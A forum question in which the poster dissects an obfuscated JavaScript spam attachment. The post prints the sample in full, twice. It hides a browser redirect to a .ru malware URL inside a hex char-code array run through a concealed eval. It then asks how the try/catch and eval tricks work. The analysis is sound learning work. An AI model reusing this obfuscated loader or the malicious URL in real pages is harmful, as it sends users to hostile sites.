Javascript - obfuscation - Learning from the bad guys
<p>This morning I received some SPAM. I noticed that the attached file was a .html file. Instead of trashing it I took it as a learning opportunity and copied it over to my desktop and renamed it to .txt and loaded it up in notepad.</p>

<p>Here is the html + obfuscated script as it appears in the SPAM attachment:</p>

<pre><code>&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&gt;
&lt;title&gt;Please wait&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;  
&lt;h1&gt;&lt;b&gt;Please wait. You will be forwarded.. . &lt;/h1&gt;&lt;/b&gt;
&lt;h4&gt;Internet Explorer / Mozilla Firefox compatible only&lt;/h4&gt;&lt;br&gt;

&lt;script&gt;asgq=    [0x76,0x61,0x72,0x31,0x3d,0x34,0x39,0x3b,0xa,0x76,0x61,0x72,0x32,0x3d,0x76,0x61,0x72,0x31,0x3b,0xa,0x69,0x66,0x28,0x76,0x61,0x72,0x31,0x3d,0x3d,0x76,0x61,0x72,0x32,0x29,0x20,0x7b,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x3d,0x22,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x67,0x69,0x6c,0x69,0x61,0x6f,0x6e,0x73,0x6f,0x2e,0x72,0x75,0x3a,0x38,0x30,0x38,0x30,0x2f,0x66,0x6f,0x72,0x75,0x6d,0x2f,0x6c,0x69,0x6e,0x6b,0x73,0x2f,0x63,0x6f,0x6c,0x75,0x6d,0x6e,0x2e,0x70,0x68,0x70,0x22,0x3b,0x7d];try{document.body&amp;=0.1}catch(gdsgsdg){zz=3;dbshre=56;if(dbshre){vfvwe=0;    try{}catch(agdsg){vfvwe=1;}if(!vfvwe){e=window["e".concat("val")];}
 s="";for(i=0;i-105!=0;i++){if(window.document)s+=String.fromCharCode(asgq[i]);}
 z=s;e(s);}}&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>

<p>The first thing I did was line it up to be slightly more readable:</p>

<pre><code>&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&gt;
&lt;title&gt;Please wait&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;  
&lt;h1&gt;&lt;b&gt;Please wait. You will be forwarded.. . &lt;/h1&gt;&lt;/b&gt;
&lt;h4&gt;Internet Explorer / Mozilla Firefox compatible only&lt;/h4&gt;&lt;br&gt;

&lt;script&gt;
asgq=[0x76,0x61,0x72,0x31,0x3d,0x34,0x39,0x3b,0xa,0x76,0x61,0x72,0x32,0x3d,0x76,0x61,0x72,0x31,0x3b,0xa,0x69,0x66,0x28,0x76,0x61,0x72,0x31,0x3d,0x3d,0x76,0x61,0x72,0x32,0x29,0x20,0x7b,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x3d,0x22,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x67,0x69,0x6c,0x69,0x61,0x6f,0x6e,0x73,0x6f,0x2e,0x72,0x75,0x3a,0x38,0x30,0x38,0x30,0x2f,0x66,0x6f,0x72,0x75,0x6d,0x2f,0x6c,0x69,0x6e,0x6b,0x73,0x2f,0x63,0x6f,0x6c,0x75,0x6d,0x6e,0x2e,0x70,0x68,0x70,0x22,0x3b,0x7d];
try{document.body&amp;=0.1} 
catch(gdsgsdg) 
{
 zz=3;
 dbshre=56;
   if(dbshre){
     vfvwe=0;
     try{}
     catch(agdsg)
     {vfvwe=1;}
     if(!vfvwe){
     e=window["e".concat("val")];
     s="";

   for(i=0;i-105!=0;i++){
     if(window.document)
        s+=String.fromCharCode(asgq[i]);
   }
z=s;
e(s);
    }  
   }
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>

<p>At this point it is obvious the script author is hiding the goodies inside the asgq array as charater codes. 0x76 = "v", 0x61 = "a", 0x72 = "r", etc... hmm the first 3 elements already spells out "var"!</p>

<p>asgq.length = 105. In the for loop the end condition that the author used is "i-105!=0" which is a confusing way to say i &lt; asgq.length. "zz=3;" appears to do nothing/not be involved with the rest of the script.  There is also an unmatched "{" after the first catch statement.</p>

<p>I ran the for loop and unpacked the array into an alert box. Here is what I got:</p>

<p>"
      var1=49;
      var2=var1;
      if(var1==var2) {document.location="http://giliaonso.ru:8080/forum/links/column.php";}
"</p>

<p>So the author is going through the trouble of making 49=49 with char codes and if 49=49, then window.location = russian site.</p>

<p>My questions:</p>

<ol>
<li><p>The author is using try cache statements. The first try condition is (document.body&amp;=0.1). Is this designed to fail and move on to the cache part of the statement or is this some bitwise operation? If it is bitwise, why the "=0.1"?</p></li>
<li><p>The first cache is passing "agdsg". I have only ever seen cache(e) with "e" passed. What does passing any value besides e do?</p></li>
<li><p>What exactly is the line, "e=window["e".concat("val")];" doing? I seems like it is acting as a function declaration that the author later invokes: "e(s);" "s" being the unpacked array.</p></li>
</ol>

<p>Any assistance is appreciated.  Thank you. </p>
